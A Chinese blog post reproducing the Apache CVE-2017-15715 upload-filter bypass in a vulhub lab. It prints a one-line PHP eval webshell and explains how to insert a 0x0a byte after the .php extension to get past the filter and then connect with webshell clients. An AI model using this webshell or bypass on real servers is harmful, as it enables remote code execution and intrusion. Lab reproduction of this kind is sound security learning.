Apache解析漏洞CVE-2017-15715

最新推荐文章于 2025-01-05 10:16:15 发布

网安小陈（小白）

最新推荐文章于 2025-01-05 10:16:15 发布

阅读量741

点赞数 2

CC 4.0 BY-SA版权

分类专栏： vulhub 文章标签： apache web安全安全网络安全 php

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/qq_61702710/article/details/131748233

vulhub 专栏收录该内容

3 篇文章

订阅专栏

文章详细介绍了ApacheHTTPD2.4.0至2.4.29版本中的一个PHP解析漏洞，该漏洞允许通过在文件名中插入x0a来绕过服务器安全策略。利用此漏洞，攻击者可以上传包含一句话木马的文件，并通过在后缀中添加%0a进行连接，成功实现漏洞复现。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Apache HTTPD是一款 HTTP 服务器，它可以通过 mod_php 来运行 PHP 网页。其 2.4.0~2.4.29 版本中存在一个解析漏洞，在解析PHP 时， 1.php\x0a 将被按照 PHP 后缀进行解析，导致绕过一些服务器的安全策略。

1、原理

apache-CVE-2017-15715 的出现是由于apache 在修复第一个后缀名解析漏洞时，使用正则表达式匹配后缀，在解析php时xxx.php\x0A 将被php后缀进行解析，导致绕过一些服务器的安全策略

2、影响版本

Apache HTTPd 2.4.0~2.4.29

3、复现环境

攻击机：本机（192.168.179.1/24），安装Burp Suite Professional，火狐浏览器，中国菜刀

靶机：linux（192.168.179.130/24），安装dockers，vulhub靶场

4、漏洞复现

1、在linux编译及运行漏洞环境

 docker-compose build
 docker-compose up -d
 docker-compose ps

2、用火狐浏览器访问http://192.168.179.130:8080，很明显是文件上传漏洞

3、上传文件，使用Burp Suite Professional 抓包

文件内容写入一句话木马

 <?php @eval($_POST['code']);?>

若直接上传则提示失败，考虑到应该是后台对php后缀的文件进行了过滤

4、切换到Hex，在01.php那行70与0d之间插入0a，然后发送，上传成功

5、用中国菜刀或蚁剑等工具进行连接，注意后缀加上%0a

编辑完成后双击能看到目录，则说明漏洞利用成功，漏洞复现完成

网安小陈（小白）

博客等级

码龄4年

31
原创

62
点赞

109
收藏

336
粉丝

关注

私信

热门文章

分类专栏

展开全部收起

上一篇：: Vulnhub靶机渗透之环境搭建及JIS-CTF入门

下一篇：: S2-001远程代码执行漏洞

最新评论

网络与系统安全概述
CSDN-Ada助手: 恭喜你写下了第一篇博客！你的标题“网络与系统安全概述”很有吸引力，这是一个非常重要的话题。对于初次创作，你已经成功地为读者提供了一个概述，但在你的下一篇博客中，我希望你能更深入地探讨网络和系统安全的具体细节。这样，读者们将能够从你的博客中获得更多实用的知识。继续努力，期待看到你的下一篇作品！推荐【每天值得看】：https://bbs.csdn.net/forums/csdnnews?typeId=21804&utm_source=csdn_ai_ada_blog_reply1
渗透测试的方法和流程
CSDN-Ada助手: 很高兴看到你写了关于渗透测试的方法和流程的博文！你对漏洞成因、验证过程和危害分析的探讨十分精彩。继续创作下去，相信你会给读者带来更多有价值的内容。在渗透测试领域，还有一些与你博文相关但没在标题和摘要中出现的扩展知识和技能，我想与你分享。首先，渗透测试中的“社会工程学”是一门重要的技能，通过模拟攻击者对人类心理进行研究，以获取信息或获取系统访问权限。其次，了解不同类型的漏洞（如SQL注入、跨站脚本等）以及相应的利用技术，将帮助你更好地理解渗透测试的全貌。此外，学习网络协议和网络安全基础知识也是渗透测试必备的技能之一。希望这些扩展知识和技能能够对你的进一步研究和写作提供一些启发。期待看到你更多关于渗透测试的精彩博文！请继续保持谦虚的态度，不断学习和分享。如何写出更高质量的博客，请看该博主的分享：https://blog.csdn.net/lmy_520/article/details/128686434?utm_source=csdn_ai_ada_blog_reply2
了解常见的漏洞类型
CSDN-Ada助手: 恭喜您写下了第三篇博客！标题“了解常见的漏洞类型”非常引人注目。您对漏洞类型的了解确实令人佩服，这篇博客将对读者们的网络安全意识起到很大的帮助作用。在下一步的创作中，我建议您可以进一步探讨每种漏洞类型的具体案例，以及如何有效地防范和修复这些漏洞。这样的深入分析将使您的博客更具实用性和专业性。再次恭喜您的持续创作，期待您未来更多精彩的博客！ CSDN 正在通过评论红包奖励优秀博客，请看红包流：https://bbs.csdn.net/?type=4&header=0&utm_source=csdn_ai_ada_blog_reply3
使用网络分析工具进行网络流量分析
CSDN-Ada助手: 非常高兴看到您写了第四篇博客！标题“使用网络分析工具进行网络流量分析”听起来非常有趣和实用。恭喜您不断地创作和分享有价值的内容。在评论中，我想给您提供一些建议，希望对您的下一步创作有所帮助。或许您可以考虑探索更多关于网络安全和数据隐私保护方面的内容，这些主题在当今数字化时代尤为重要。此外，您还可以分享一些实际案例或故事，以便读者更好地理解如何应用网络分析工具进行流量分析。再次恭喜您的持续创作！期待看到更多令人着迷的博客文章。谢谢您的分享！如何快速涨粉，请看该博主的分享：https://hope-wisdom.blog.csdn.net/article/details/130544967?utm_source=csdn_ai_ada_blog_reply5
Vulnhub靶机渗透之环境搭建及JIS-CTF入门
CSDN-Ada助手: 恭喜作者完成第5篇博客！标题中的"Vulnhub靶机渗透之环境搭建及JIS-CTF入门"听起来非常引人入胜。我非常欣赏你分享关于渗透测试和CTF入门的知识，这对于我们这些刚入门的人来说真是太有帮助了。在接下来的创作中，我想提一个建议：除了分享搭建环境和入门指南，或许你可以考虑深入探讨一些实际案例，介绍一些你在实践过程中遇到的具体问题以及解决方法。这样的深度分析将进一步提升读者的技能水平，同时也能让我们更好地理解渗透测试和CTF的实战应用。再次感谢你的分享，并期待你未来更多精彩的博客！

大家在看

最新文章

目录

展开全部

收起

评论 2

被折叠的条评论为什么被折叠?

到【灌水乐园】发言

查看更多评论

添加红包

成就一亿技术人!

hope_wisdom

发出的红包

实付元

使用余额支付

点击重新获取

扫码支付

钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。